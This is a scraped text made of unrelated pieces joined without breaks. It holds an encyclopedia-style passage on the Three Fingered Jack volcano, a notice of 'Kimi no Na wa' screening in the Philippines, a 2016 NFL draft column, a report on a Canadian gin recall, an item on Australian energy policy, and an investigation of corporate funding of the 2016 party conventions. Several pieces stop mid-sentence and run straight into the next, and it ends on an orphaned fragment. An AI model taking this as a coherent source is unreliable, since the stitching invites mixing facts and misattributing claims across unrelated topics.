The mountain also forms part of a group of more than 30 large shield volcanoes and stratovolcanoes that form a segment of Pleistocene-to-Holocene-epoch volcanic vents that produced mafic lava (rich in magnesium and iron). Three Fingered Jack includes several, overlapping cinder cones and composite cones over underlying lava flows from shield volcano activity. These volcanic edifices and their lava flow deposits cover an area of 34 square miles (88 km2). Between Three Fingered Jack and the North Sister volcano and among recently active basalt lava fields, there is an array of cinder cones encompassing an area of 85 square miles (220 km2).
Three Fingered Jack has a dissected, jagged appearance.
The major edifice, which consists of light gray, basaltic andesite lava flow deposits, sits 1,000 feet (300 m) to the west of the first tephra cone. Variegated pyroclastic rock is embedded among these flows. Element abundance analysis suggests that lava in the Three Fingered Jack area can be grouped into discrete units based on its source magma chamber, except for the Jorn Lake basalt produced by the underlying shield volcano and basaltic andesite erupted by Three Fingered Jack. Petrological analysis shows high and low pressures for the crystallization of these lava flow deposits, and that basaltic andesite was distinct from basalt due to longer fractionation times.
Though Three Fingered Jack does not have a high-level conduit-filling volcanic plug, its summit sits atop a pyroclastic cone. Another cone lies 350 feet (110 m) to the south of the major cone, and there are secondary craters on the sides, as well as radial dikes and volcanic plugs. Known subfeatures include two shield volcanoes, Maxwell Butte (less eroded than Three Fingered Jack) and Turpentine Peak, which have elevations of 6,230 feet (1,899 m) and 5,794 feet (1,766 m), respectively.[23] There are six additional known volcanic cones: Duffy Butte, at an elevation of 5,837 feet (1,779 m); Hogg Rock (a tuya), at an elevation of 5,050 feet (1,540 m); Marion Mountain, at an elevation of 5,351 feet (1,631 m); Red Butte, with an elevation of 5,814 feet (1,772 m); and Marion Peak and Saddle Mountain, which do not have elevations listed.[23] Other shield volcanoes and cinder cones that were active during the Pleistocene epoch occur to the northwest and southwest.[23]
The volcano has a long ridge that trends from north to south. It is highly eroded;[22] shaped like a sawtooth, it consists of tephra deposits supported by a vertical dike with a thickness of 10 feet (3.0 m). Erosion has been so extensive that climbers claim that the summit moves in the wind. During the Pleistocene epoch, glaciers exposed its inner contents, providing evidence for its eruptive history. Though it has not been dated by radiometric approaches, the volcano is likely between 500,000 and 250,000 years old, and has been carved out by at least three glacial periods.
Eruptive history [ edit ]
Three Fingered Jack shows a similar eruptive history to many High Cascade volcanoes. Activity began with the formation of a pyroclastic cone over shield volcanoes. Later eruptions formed a main volcanic cone from lava flows and more pyroclastic rock. There are dikes that radiate from a micronorite plug, which deformed tephra in the surrounding strata. The northern and southern flanks of Three Fingered Jack feature lava flows made of olivine and augite basalt.
Three Fingered Jack is estimated to be between 500,000 and 250,000 years old.[34] It underwent more explosive eruptions as its eruptive history progressed, generating large amounts of tephra, which created a loose, unconsolidated summit and upper cone. Lava flows near the summit have an average thickness of 3 feet (0.91 m). Secondary volcanic craters produced lava flows and pyroclastic material, which traveled both north and south of the volcano. Cone-building eruptions ceased before the Pleistocene epoch's glacial period, allowing the expanded glacial cover to remove most of the cone, especially on the eastern and northeastern sides.
During the ongoing Holocene epoch, there has been volcanic activity between the Three Sisters volcanoes and Three Fingered Jack. Such eruptive episodes have produced tephra and lava flows that cover several hundred square kilometers in the region. These eruptions occurred after the climactic eruption of Mount Mazama, which took place roughly 6,600 years ago.
Human history [ edit ]
The surrounding area has traditionally been inhabited by Molala people, one of the indigenous groups in the northwestern United States. The group fished for salmon, collecting berries, fruits, obsidian, and dried herbs. Their culture was not well documented. The first person of non-indigenous descent to reach the area was David Douglas in 1825, followed by Peter Skene Ogden the following year.
Sources disagree about the affiliation of the mountain's first |
|君の名は) movie in the Philippines, starting December 14.
The Japanese Anime film, “Kimi no Na wa” (Your Name | 君の名は) has recently grabbed the award for “Best Animated Film” in the Los Angeles Film Critics Association (LAFCA) Awards, beating the other nominees like “Kubo and the Two Strings”, Disney’s “Zootopia”, and “Moana”. The film is currently being shortlisted for an Oscar nominee also for “Best Animated Film” category.
In addition, it was also reported that “Kimi no Na wa” had reached gross earnings of ¥20 billion (20,006,188,400 JPY, approx. 8 Billion pesos), closing the gap with another box office successful film of “Sen to Chihiro no Kamikakushi” (Spirited Away) who have also earned more than ¥20 billion on its theatrical run 15 years ago. More earnings are expected as this movie becomes available in countries such as the Philippines.
Full schedule listing will be available by Tuesday, as cinemas updates their movie listings and schedules. We’ll definitely keep you posted for updates.
In case you haven’t seen it yet, here is the trailer of the movie once again.
Read more about “Kimi no Na wa” (Your Name) with our past articles:Eric Risberg/Associated Press
Jared Goff or Carson Wentz: Who goes first at quarterback?
If you've paid attention to the coverage of draft season, you're probably thinking it's Carson Wentz and it's not even close. But remember, this is the time of year when prospects get torn down for no reason (see: Bridgewater, Teddy or Jeffery, Alshon), and what Goff does that only shows up on film or in interviews is what's keeping him ahead of Wentz on my board.
What about NFL teams; how do they see it?
One NFL general manager compared Goff's football IQ and intangibles to a player most consider the holy grail of quarterback prospects.
The Scout's Report
— "He's the smartest quarterback since Andrew Luck. Someone is gonna trade up to take him No. 1 [overall]." That's what one NFL general manager told me this week about Cal quarterback Jared Goff.
— Myles Jack is another player worthy of top-pick consideration, and I'm told by a source with the San Diego Chargers that they're falling in love with the UCLA linebacker. The Chargers sent seven people to the UCLA pro day and ran Jack through defensive back drills after his workout.
— While the Chargers showed a ton of interest in Jack, the San Francisco 49ers did too. The team put him through a linebacker workout at the UCLA pro day.
Damian Dovarganes/Associated Press/Associated Press
— Mississippi State defensive lineman Chris Jones is generating first-round talk, or rather was before he was arrested for driving with a suspended license. That report, from Michael Bonner of the Clarion-Ledger, had one area scout who has spent time with Jones texting me, "top-15 body, bottom-15 head." Jones isn't considered a bad-character player, but rather someone who is a bit clueless and lazy off the field.
— The Carolina Panthers have used a first- and second-round pick in the last two drafts to add receivers Kelvin Benjamin and Devin Funchess, respectively, but I'm told by front-office personnel they'd love to add a vertical threat at receiver in the middle rounds of the draft.
— Following an excellent pro day that had him running high 4.3s according to scouts on hand, Baylor cornerback Xavien Howard is expected to move himself into the late-first- and early-second-round conversation, per team scouts I've polled.
— The Baylor pro day drew a ton of NFL personnel to Waco, Texas, and I'm told that Houston Texans head coach Bill O'Brien was in attendance and that he and his scouts took special notice of wide receiver Corey Coleman. With a need at wide receiver opposite DeAndre Hopkins, Coleman makes sense at No. 22 overall.
Sue Ogrocki/Associated Press/Associated Press
— Boston College safety Justin Simmons improved on his 40-yard dash time with a mid-4.5-second run at his pro day, according to an area scout. I'm also told that Simmons has met with the Detroit Lions three times since the Shrine Game.
— Jack Conklin is getting a ton of buzz after a great combine performance. I asked an NFL offensive line coach about him and he said, "Left tackle athleticism, but his footwork right now is backup level."
— The San Francisco 49ers need help at wide receiver, and I've been told by sources with the team that they met with Tyler Boyd of Pittsburgh. Boyd projects as a second-rounder at this time.
— The Ohio State pro day was one week ago, and in the aftermath of that one general manager told me wide receiver Michael Thomas had the best day of anyone there. "He's a better route-runner and athlete than most people realize."
5 Names to Know
5. Wide Receiver Charone Peake, Clemson
When a wide receiver comes out of Clemson, you take notice, especially with the recent run of success from Dabo Swinney's school. Peake is the next in that line.
With a breakout performance at the Senior Bowl, he started to climb up draft boards. Now, following a solid combine and more film study, he's comfortably in the Round 2 range. The 6'2", 209-pound receiver has the deep speed and burst to stretch the field right away in a vertical offense.
4. Cornerback Rashard Robinson, LSU
Joe Robbins/Getty Images
If it weren't for off-field issues, Rashard Robinson would be in the running as a top-20 player. But there are issues. He struggled to meet academic standards before enrolling at LSU and was suspended in 2014 and never let back on the team.
Robinson is long (6'1", 32 1/4" arms) and has the speed to turn and run with wide receivers, but he's raw in terms of technique and has to put weight on his spindly 171-pound frame. If teams check the boxes on his character questions, Robinson could sneak into the top 50 picks.
3. Defensive Lineman Ronald Blair, Appalachian State
A strong, versatile defensive lineman coming out of Appalachian State, Ronald Blair is turning heads with his technique and how pro-ready he is. At 6'2" and 284 pounds, Blair can be used as an interior lineman or as a 5-technique in a 3-4 scheme.
While he's not overly tall, his 34-inch arms and 10 1/4-inch hands show that he has the length to handle blockers at the point of attack. Blair has a shot to go in the top 100 picks on draft day.
2. Edge-Rusher James Cowser, Southern Utah
Joe Robbins/Getty Images
Cowser graduated from high school way back in 2009, then did two years as a missionary for his church. That makes him an older prospect, but he's a true edge-rusher with a toolbox of pass-rushing moves.
Cowser will stack up tackles with his hands and arms, but he can also break out a spin move or stutter-step to generate space on the edge. He's a sleeper at outside linebacker for 3-4 defenses and ranks as a late fourth-rounder due to age.
1. Free Safety DeAndre Houston-Carson, William & Mary
A former cornerback-turned-free safety, DeAndre Houston-Carson offers a ton of versatility to NFL teams craving movable parts in the secondary.
He's big enough (6'1", 201 lbs) to hang with physical receivers or tight ends but showed the quickness in space to handle slot coverage duties. He's a smart, high-motor player with the instincts to play in sub-packages and on special teams immediately.
In a good safety class, he looks like a Round 4 player.
Scouting Report: Michael Thomas, Ohio State
Throughout the 2016 draft season, I'll highlight one draft prospect each week with a first-look scouting report.
Michael Thomas' Measurables Height Weight 40 Time Hand Size Arm Length Three-Cone Vertical 6'3" 212 4.43s 10 1/2" 32 1/8" 6.80s 35" ESPN.com
A junior graduate from Los Angeles, Michael Thomas was a third-team All-Big Ten selection following the 2015 season. Thomas, who attended Woodland Hills Taft High School, spent the 2011 season at Fork Union Military Academy before joining Ohio State. In his two seasons as a starter, Thomas emerged as a leader of the wide receiver group and finished his career with a catch in 29 straight games.
Football runs deep in Thomas' family—he's the nephew of former No. 1 overall pick Keyshawn Johnson.
Positives
Christian Petersen/Getty Images
A 22-year-old rookie, Thomas passes the eye test with impressive height, length and muscle definition. He's a strong athlete, recording 18 reps of 225 pounds on the bench press and broad-jumping 126 inches at the combine. Thomas has no athletic deficiencies that would keep him from being a No. 1 wide receiver.
Thomas has the hand strength, concentration and toughness to win contested catches. Over the last two seasons, he's dropped just five passes total, per College Football Focus, and is able to pluck the ball from the air with big hands and long arms. Thomas is versatile enough to beat press coverage with his size and strength but smooth enough to break ankles in the open field with his burst and agility.
As a route-runner, Thomas is explosive off the line of scrimmage. He gets upfield quickly and can sell deep routes with his long stride and body lean. Where he's able to make a difference is in his change-of-gear abilities.
He can sink his hips and/or stutter-step to throw the cornerback out of step with him and then accelerate down the field to gain separation. When asked to run breaking routes, Thomas knows how to throttle down to cut and then explode away from the transition. He makes himself a big target over the middle and excelled on screens and quick outs, showing he's comfortable on the boundary.
While his speed allows him to separate down the field, Thomas also uses his length and size well to go up and grab 50-50 balls in the air. He's a natural catcher and looks the ball into his hands, unlike many receivers who try to basket catch the ball.
In the open field, Thomas has the speed to pick up big yardage after the catch. He's not overly elusive, but he does have enough agility and balance to wiggle and shake would-be tacklers.
Negatives
Christian Petersen/Getty Images
Production, or lack of production, will be brought up by NFL teams when evaluating Thomas. He caught just 56 passes for 781 yards and nine touchdowns in 2015, which is off the pace of the other top receivers like Laquon Treadwell or Corey Coleman.
Thomas' film shows good speed, but teams must get comfortable with his build-up style of speed. He ran a 4.57-second 40-yard dash at the combine, and teams that use that time over pro day times will worry about his deep speed.
When head coach Urban Meyer first came to Columbus, Thomas struggled to learn the playbook and was redshirted for the 2013 season so he could focus on school and acclimating to the Ohio State scheme. This will raise questions about his ability to learn a complex NFL playbook—even if he's been a go-to receiver at Ohio State without issue the past two seasons.
On the field, the big key for Thomas at the next level will be dealing with press coverage and getting a clean release up the field. He has the tools to become a factor here but is inexperienced coming out of the Ohio State scheme at using his hands or quick feet to beat a jam.
For all of Thomas' ability to generate space in his vertical route game, the playbook at Ohio State was thin on routes, so he'll need time to learn a full route tree.
Pro Comparison: DeAndre Hopkins, Houston Texans
Thomas may not have the production of Corey Coleman or Will Fuller, but he brings size, speed, route-running ability and sure hands to the table. Those skills, plus his upside as a technician, make him the top-ranked receiver in this class.
The Big Board
With six weeks to go until the NFL draft, all anyone wants to see here is a mock draft, but more important (in my opinion) is how the rankings of this class look. Here's a fresh Top 50 Big Board with pro days changing things around.
Updated Top 50 Big Board Player Position School 1. Jalen Ramsey CB FSU 2. Myles Jack LB UCLA 3. Jared Goff QB California 4. Laremy Tunsil T Ole Miss 5. Joey Bosa DE Ohio State 6. DeForest Buckner DE Oregon 7. Carson Wentz QB North Dakota State 8. Jaylon Smith LB Notre Dame 9. Ronnie Stanley T Notre Dame 10. Vernon Hargreaves CB Florida 11. Ezekiel Elliott RB Ohio State 12. Noah Spence EDGE Eastern Kentucky 13. Darron Lee LB Ohio State 14. Sheldon Rankins DL Louisville 15. Shaq Lawson DE Clemson 16. Michael Thomas WR Ohio State 17. Mackensie Alexander CB Clemson 18. Leonard Floyd EDGE Georgia 19. Laquon Treadwell WR Ole Miss 20. Corey Coleman WR Baylor 21. Taylor Decker T Ohio State 22. William Jackson III CB Houston 23. Maliek Collins DL Nebraska 24. Josh Doctson WR TCU 25. Germain Ifedi T Texas A&M 26. Paxton Lynch QB Memphis 27. A'Shawn Robinson DL Alabama 28. Kevin Dodd DL Clemson 29. Jarran Reed DL Alabama 30. Andrew Billings DL Baylor 31. Reggie Ragland LB Alabama 32. Jack Conklin T Michigan State 33. Cody Whitehair C Kansas State 34. Jihad Ward DL Indiana 35. Robert Nkemdiche DL Ole Miss 36. Eli Apple CB Ohio State 37. Joshua Garnett G Stanford 38. Will Fuller WR Notre Dame 39. Xavien Howard CB Baylor 40. Vernon Butler DL Louisiana Tech 41. Ryan Kelly C Alabama 42. Jonathan Bullard DL Florida 43. Karl Joseph FS West Virginia 44. Keanu Neal SS Florida 45. Emmanuel Ogbah EDGE Oklahoma State 46. Kamalei Correa EDGE Boise State 47. Su'a Cravens LB USC 48. Braxton Miller WR Ohio State 49. Austin Johnson DL Penn State 50. Hunter Henry TE Arkansas Matt Miller
Parting Shots
8. The Ohio State pro day was last week, and the turnout—both in terms of athletes on the field and NFL personnel in the stands—was off the charts. All 32 NFL teams were represented, totaling 120 coaches and scouts, according to an official at Ohio State. They weren't in Columbus for the weather, either. The players did their part to wow the coaches and scouts at the workout.
Joey Bosa, whose brother came decked out in Tennessee Titans gear, was the star of the show. He posted an unofficial 4.70 in the 40-yard dash and dominated the bag drills while showing the hip snap and explosion that became his trademark over the last two years.
Joe Robbins/Getty Images
On the offensive side of the ball, all the skill players drew praise from scouts. Ezekiel Elliott showed his hands as a receiver out of the backfield after a shaky performance at the combine, and wide receiver Michael Thomas improved his times in the 40-yard dash (4.37 on one scout's clock).
The Buckeyes were absolutely loaded this past season, and while they won't be catching the 2001 Miami Hurricanes team—they had 17 future first-rounders on that squad—it's one of the best classes in recent memory.
7. I had the chance to speak to Jaylon Smith and his trainer this week, and the update is all good news. Smith is squatting without a brace and doing 400-pound reps. He's focused on gaining back the 20 pounds he lost post-surgery and building balance and strength in his leg. At Notre Dame's pro day on March 31, he'll do the bench press and meet with teams.
Smith, who is only 20 years old, is going through the rehab of his first-ever injury. The prognosis right now is a waiting game. It's a "when, not if" situation with his knee.
From an outside perspective, what Smith has already been able to do is remarkable. There have been many reports that spell doom and gloom for Smith, but the truth is no one outside of his surgeon and his trainers know what the future holds. And right now they're waiting to see just like the rest of us.
What does that mean for his draft stock? Smith will travel back to Indianapolis for a medical recheck soon, but it's truly a wait-and-see approach for his team and every NFL club right now. Had he been healthy, Smith would be the No. 1 overall player in this draft.
Oh, and one more thing: Smith's camp shared with Bleacher Report this exclusive video of him working as a pass-rusher in Notre Dame practices before the season. The plan was to feature him as an edge-rusher on third downs, but injuries on defense meant he had to spend more time at linebacker and not as much as an edge-rusher.
6. How do the New England Patriots stay so good? Having Tom Brady helps, but it's also how the team manipulates the draft. Once again, the Patriots have double-digit draft picks (11) and four in the top 100 overall. And that's after being stripped of a first-rounder following Deflategate.
Not only do the Patriots have plenty of draft capital; they're also trading away pennies on the dollar for impact tight end Martellus Bennett and signing Chris Long to replace Chandler Jones—whom they traded away for another second-round pick and a guard who was good enough to be drafted in the top 10 back in 2013 (Jonathan Cooper).
5. Speaking of draft picks, the San Francisco 49ers lead all teams with 12 picks in the upcoming draft. They received four compensatory picks (which cannot be traded) in exchange for lost free agents last year.
Ezra Shaw/Getty Images
With so many needs on both sides of the ball, general manager Trent Baalke and head coach Chip Kelly have to be in sync with how they want to build this team. And make no mistake about it: This is a rebuild, not a reload.
The Niners need a quarterback they trust, another running back, at least one receiver, two guards and a right tackle. And that's just on offense. All the needs won't be filled in one draft, but having 12 swings of the bat to find impact players helps the cause.
4. Looking at the big picture of this year's draft class, I expect there to be around 20 players receiving a first-round grade when our NFL Draft 400 series launches. Last year, just 15 players were graded above the line, so the overall depth this year is better.
But how many players are worthy of a top pick? Last year it was Jameis Winston, Marcus Mariota, Leonard Williams or Dante Fowler as the top-ranked player overall. This year, there are six who are truly worthy of that value.
Jared Goff and Carson Wentz, at quarterback, are the obvious selections. Not only are they both talented, but they play the most premium position in the sport. Laremy Tunsil is the best left tackle in the draft. For some he's the best overall player regardless of position, which definitely makes him a worthy candidate to be selected first.
Linebacker Myles Jack and cornerback Jalen Ramsey play positions that generally aren't drafted first overall, but both are otherworldly talents and clearly worth it from a talent perspective. And finally, Joey Bosa, the defensive end from Ohio State. He's a pass-rusher in a league that craves pressure off the edge. Not only is he a value by nature of his position, but he is worthy based on his talent.
3. Now that we know the talent at the top of the draft, those of you with a favorite team outside the top six or seven picks will wonder about the depth of talent—and it's good.
I mentioned above I'll have roughly 20 first-round grades, and when looking at the overall class, the gap between Player 21 and Player 40 wasn't that big. The difference between Taylor Decker (No. 21) and Vernon Butler (No. 40) is small, and that's great news for teams drafting in the late first or early second round.
Teams will be able to find starters in the top of the second round, and perhaps even impact starters. The 2016 class isn't on par with 2011 or 2014 in terms of overall talent, but it's an improvement overall from last year and the famed 2013 class.
2. The San Francisco 49ers have the most picks, and the Atlanta Falcons have the fewest with just five total selections. That explains the aggressive need-filling through free agency this year.
Jonathan Daniel/Getty Images
The Falcons—with picks No. 17, 50, 81, 115 and 238—can still get starting-caliber players with selections in the first four rounds, but it's those depth picks they'll lose out on. Given the lack of success on the field the last two years, it's only natural to load up on free agents like Alex Mack, Mohamed Sanu and Derrick Shelby.
Now they head into the draft able to focus on selecting the best player available and not filling needs.
1. If you missed it this week, Connor Cook wrote a first-person story for the MMQB in which he addressed not being voted a team captain. It's a good read—albeit a biased one—and gives you a look inside what Cook is doing with predraft workouts and how he's handling questions about his leadership role at Michigan State.
Matt Miller covers the NFL and NFL draft for Bleacher Report.Image copyright Canadian Food Inspection Agency Image caption The Canadian Food Inspection Agency issued pictures of the recalled gin with the batch code
Bottles of a popular gin have been recalled across Canada after a batch was found to contain nearly twice the amount of advertised alcohol.
Officials said the 1.14 litre bottles of Bombay Sapphire London Dry Gin should have had 40% alcohol content by volume when the actual figure was 77%.
They said the problem had been traced back to the production line.
The Canadian Food Inspection Agency said no illnesses associated with the gin had been reported.
Drinks giant Bacardi, which distributes Bombay Sapphire, said the affected batch was believed to have only been sold in Canada.
The province of Ontario was the first to remove the gin from stores before a nationwide recall was issued.
"One batch was bottled before correct dilution to achieve the stated 40% alcohol content by volume," the Ontario Liquor Control Board said in a statement
"As a result, the affected batch has alcohol content by volume of 77%."
The Canadian Food Inspection Agency said the recalled gin should be thrown out or returned to the shop where it was bought.
It is the second time this year that Canada has had to recall a brand of liquor because the alcohol content was too high.
In March, bottles of Georgian Bay vodka were pulled from the shelves after inspectors found a batch with an alcohol content of 81% instead of the advertised 40%.Image copyright Getty Images Image caption The Australian government has been criticised over its commitment to renewables
The Australian government has rejected a Clean Energy Target (CET) recommended by the nation's chief scientist, opting for a plan focusing on energy security.
Prime Minister Malcolm Turnbull said the alternative would still lower emissions and ensure Australia met its obligations under the Paris agreement.
The National Energy Guarantee (NEG) will reduce power prices and prevent a repeat of crippling blackouts, he said.
The move has been criticised as turning away from renewable energy.
Last year, the entire state of South Australia lost power on one night, triggering a bitter feud between state and federal governments over blame.
Chief scientist Alan Finkel had recommended the CET in a landmark review of Australia's electricity market in June.
It would have forced electricity companies to source a percentage of power from low-emission technologies, such as renewables and efficient gas.
But the government backed away from the target after a protracted debate over the reliability of renewables, and fears that it would drive up consumer prices.
"[The new plan means] we keep the lights on and we can afford to keep them on, and that we meet our international commitments under the Paris agreement to cut our emissions," Mr Turnbull said.
Under the NEG, a percentage of electricity must come from sources described as "dispatchable" - coal and gas, batteries or pumped hydro.
Retailers will ensure those sources are efficient enough for Australia to fulfil its promise of reducing emissions by between 26% and 28% below 2005 levels by 2030, the government said.
This would be monitored through an energy intensity calculator and enforced by a regulator, it said.
'Destroying renewables'
Subsidies and incentives for renewable energy will also be scrapped under the government's new plan. It argues those technologies are competitive enough in the free market.
The opposition Labor party accused the government of being "hell-bent on destroying renewable energy" and potentially restricting its growth in Australia for decades.
"Australia should have at least 50% of its electricity delivered by renewable energy by 2030," opposition spokesman Mark Butler said.
South Australian Premier Jay Weatherill called it a "complete victory for the coal industry".
Mr Turnbull's government accepted the other recommendations from Dr Finkel's review.Protestors will shout. Delegates may revolt. Factions will haggle over rules and platform proposals.
But come later this month, no amount of friction will stop corporations, unions and special interests from spending tens of millions of dollars to bankroll nonstop partying at the Democratic and Republican national conventions. Thank federal campaign finance rules that allow unlimited contributions to support them.
Special interests concerned about chaos under their corporate logos shouldn’t fret. There are plenty of ways to show support for the quadrennial bacchanalias and discreetly secure access to lawmakers and political power players without earning unwanted attention.
Certainly some high-profile companies and individual donors — the list includes billionaire Paul Singer, Apple, Coca-Cola, Microsoft and Wal-Mart — are scaling back on giving to the host committees this time.
Some reportedly want to distance themselves from controversies surrounding presumptive Republican nominee Donald Trump. Hillary Clinton, the Democratic nominee-in-waiting, is also historically unpopular with the public and attempting to weather fallout from her State Department email imbroglio, in which the FBI this week deemed her conduct “extremely careless,” although not worthy of criminal charges.
Meanwhile, many special interests, from Comcast Corp. to financial giant JPMorgan Chase to insurer Blue Cross Blue Shield, will participate in convention-related activities, but they’ve become more creative in how they influence conventioneers — or are altogether refusing to discuss their convention plans.
“They want to show up, they want to rub elbows with everyone at the conventions, they just don’t want the corporate name out there,” said Craig Holman, a government affairs lobbyist for advocacy group Public Citizen, who has long tracked influence efforts at the conventions. “They’ll be looking for lower-key ways of doing the same thing they’ve always done.”
The Center for Public Integrity contacted dozens of companies to inquire about their plans for contributing to the convention host committees or sponsor private events at the collection. The companies include the largest contributors to both 2012 national conventions and the top 10 Fortune 500 companies.
Many didn’t respond to questions, and almost none would provide specific details about their 2016 convention involvement. But through public records and other sources, the Center for Public Integrity identified major sponsorship opportunities and big-time backers.
Sponsor a Delegation
One way to keep a lower profile is to sponsor a delegation. The Republican National Convention’s Texas delegation, which offers packages ranging from the $5,000 “Bluebonnet Club” to the $50,000 “Lone Star Club” — something for every budget.
Most packages include a certain number of passes to the convention and official delegation events and the ability to book hotel rooms at the same hotel as the delegation, ensuring easy access.
Public recognition also comes with a sponsorship — but this year, many sponsors don’t want their names associated with supporting the Republican National Convention.
“Part of the package is that they’re recognized, and some of them have chosen not to be recognized publicly,” delegation consultant Beth Cubriel said, adding, “they just want to be supportive of the delegates.”
The sponsorships have been almost entirely snapped up, Cubriel added.
Indeed, there’s more than one way to support the conventions, and many routes are decidedly opaque.
If you’re a special interest that wants to make a splash, you have three main options:
The most direct route is to give a six- or seven-figure contribution straight to the host committees — nonprofit organizations created to organize, host and fund the convention. These contributions will be publicly disclosed — but not until 60 days after the event. Corporations and unions may give money directly to these committees.
A second option, new this year, permits individuals and political committees to write checks directly to special “convention accounts” administered by the Democratic and Republican parties themselves.
Political parties at one time received $18 million each in public funding for their conventions, in addition to money earmarked for security. But Congress eliminated this funding in 2014. To make it up, lawmakers created special “convention” accounts for each political party, allowing individuals to contribute $100,200 and political action committees to kick in $45,000. That’s in addition to other contributions to the party.
Corporations and unions may not give directly to these accounts, although political action committees they sponsor may do so.
Republicans have so far raised roughly triple the amount of Democrats — more than $15 million so far this cycle through the end of May, compared to approximately $5 million. Those contributions are disclosed monthly.
The DNC declined to comment on the new convention fundraising accounts. In a statement, the RNC said the money they raise “will be used to defray the costs of putting on a national convention.”
The third option: throw a private party for lawmakers and partisan bigwigs. Such affairs might fly under the radar — great for many attention-avoiding special interests in 2016 — but they require all involved to follow a convoluted bunch of federal ethics rules.
Approaches among influence peddlers vary.
A host of Republican officeholders and eminences have announced they’ll be skipping the Cleveland event this year, contributing to questions about whether large investments are worth it — especially since most companies like to support both conventions to the same degree.
Kevin O’Neill, co-chair of the legislative practice group at law and lobbying firm Arnold & Porter, said clients have always gone through a process to evaluate the value of participating, and it’s been declining.
Now, O’Neill said, lobbying firm clients are concluding, “If we’re going we should have a smaller footprint, a smaller visibility, it should be very targeted, and we should do anything we can to steer our brand clear of controversy. You have two candidates here that have some high negatives, and that gives people pause.”
Wal-Mart spokesman Greg Hitt said the company’s political action committee is contributing $15,000 to the convention fund for each party this election cycle, and won’t be giving additional money to the host committees. Compare that to the $150,000 corporate contribution Wal-Mart gave to the host committee for the Republican convention in 2012.
Singer, a major Republican donor, has also contributed to the party convention account, giving the maximum $100,200 last year. Microsoft’s PAC gave $15,000 to the DNC convention account.
Some companies that have contributed heavily in the past, such as FedEx, which gave $250,000 to the Republican convention in 2012, did not respond to multiple inquiries about their plans this year.
Such circumstances don’t make soliciting large donations any easier. But representatives of both parties’ host committees say they’re nevertheless closing in on their fundraising goals, which are $50 million for the Democratic host committee and $57 million for the Republicans.
Representatives of both host committees acknowledge they’re relying heavily on big corporations anchored in their host cities, which is typical.
The strong regional appeal of conventions also means many big contributors from four years ago — companies headquartered in Charlotte, North Carolina, and Tampa, Florida, for instance — aren’t necessarily in the mix this time.
Local Funds Pour In
By the time the Republican National Committee decided to award the convention to Cleveland, “we had nearly $30 million in commitments and the vast majority were from northeast Ohio or other parts of Ohio,” said David Gilbert, president and chief executive officer of the Cleveland 2016 Host Committee.
Consider KeyCorp., the Cleveland-based parent company of Key Bank.
Beth Mooney, the company’s chairman and chief executive officer, is co-chairwoman of the Cleveland host committee. So far, the company, has disclosed contributing $333,333.33 to the host committee in 2015.
Jack Sparks, director of communications for KeyCorp, did not respond to a question from the Center for Public Integrity about whether KeyCorp had given additional contributions to the host committee or planned to host private events.
Sparks did say the company “looks for innovative opportunities to help Cleveland and Northeast Ohio to thrive” and “is proud to partner with the Cleveland 2016 host committee as the committee works to make the most of the national spotlight that will shine on Cleveland during the Republican National Convention.”
Democratic convention organizers, meanwhile, are rebuilding their corporate base almost from scratch after prohibiting direct corporate, political action committee and lobbyist donations during 2008 and 2012.
Some companies still found ways to give, notably Duke Energy, which forgave millions of dollars in loans after the convention. But fundraisers for the Philadelphia host committee have had to convince many companies that putting the Democratic convention line item back in their budgets this year is a good idea.
Union Push
Unions, which comprised seven of the top 20 contributors to the host committee for the Charlotte convention in 2012, appear to again be stepping up for Democrats.
At a National Press Club event in June highlighting preparations for the Democratic convention, Philadelphia Mayor Jim Kenney and Kevin Washo, the host committee’s executive director said support from organized labor has been key.
“Organized labor has been at the forefront of this bid, both in terms of support financially and the commitment to the work that’s being done at the arena,” Washo said.
The Bricklayers AFL-CIO reported contributing $1.35 million to the Philadelphia 2016 Host Committee last year, according to a filing with the US Department of Labor. James Boland, the president of the bricklayers’ union, is an at-large member of the Democratic National Committee.
Other unions have so far reported smaller contributions, including $50,000 from the plumbers’ union and the Service Employees System Council, which gave $10,000.
On the corporate front, David L. Cohen, a senior executive vice president of Comcast Corp., is a “special advisor” to the Philadelphia host committee, an informal but high-profile role.
The PAC of Comcast, one of Philadelphia’s most prominent corporate citizens, has given $45,000 to the convention funds for both parties, according to public filings.
Comcast declined to answer questions about its contributions to the host committee or other arrangements tied to the convention, and refused to confirm plans for a party at the Barnes Foundation, a high-profile art museum.
For another way to avoid controversy, take the approach adopted by JPMorgan Chase. In 2012, the company gave $200,000 directly to the host committee for the Republican convention in Tampa, according to host committee filings with the Federal Election Commission reviewed by the Center for Public Integrity.
This time? The two host committees are apparently getting bupkis from the financial industry giant. Instead, JPMorgan Chase is giving $300,000 to nonprofits in Cleveland and Philadelphia in support of summer youth employment programs — but linking the charitable contributions to the conventions.
“JPMorgan Chase decided that the best way to support these conventions was to support the cities themselves where the events will take place,” JPMorgan Chase global government relations head Nate Gatten wrote in a blog post about the contributions.
In press releases touting the charitable contributions, JPMorgan Chase first mentions the national conventions in the eighth paragraph of the Philadelphia press release and the seventh and last paragraph of the Cleveland release.
Private Parties, Ethics Minefield
Of course, much of the mingling between influencers and politicians takes place at private events — parties, concerts, hospitality suites.
Those aren’t simple to throw together. They’re governed by a variety of ethics rules, including some that only apply to events conducted during the conventions. The rules, many passed in response to influence-peddling scandals, govern even small details and often seem illogical.
Individual members can’t be honored by special interests, for example, but delegations can. Senators can be billed as “featured speakers,” but House members cannot.
The rules even cover the types of food that may be served. In other words, no dangling entire lobsters off toothpicks.
Kenneth Gross, head of the political law practice at Skadden, Arps, Slate, Meagher & Flom and a veteran of the confusing tangle of rules governing convention events, quipped he’s stopped reviewing menus himself. “I have a sous chef who does that,” Gross joked.
Seriously, though, this isn’t a good area for misunderstandings. Not only are the rules technical, they aren’t uniform. There are different restrictions for members of the US House of Representatives than for senators, and states have their own ethics requirements.
“We remind people these conventions are not ethics-free zones,” Gross said.
Some observers, including Public Citizen’s Holman and elections lawyer Brett Kappel, say they’re seeing signs of fewer such private events this time. Kappel says he hasn’t received a single inquiry from clients seeking legal advice regarding holding events at, or in association with, the 2016 presidential nominating conventions. That’s down from to several inquiries four years ago.
Rich Gold, head of law and lobbying firm Holland & Knight’s public policy practice, said the firm is still nailing down its convention plans, but they will be more modest than in past years. For example, he said, the firm will co-host a dinner for Democratic mayors in Philadelphia.
In 2012, he said, the firm’s large office in Tampa and its representation of the city of Charlotte prompted it to hold much larger events, with hundreds of guests and live performances. Clients, too, are taking a more muted approach, he said, given the turmoil this year.
In addition to the tension on the Republican side, “I just don’t think … given the major issues on the Democratic side now in |
by DPS raised by 4 percent, a total number barely under 550.
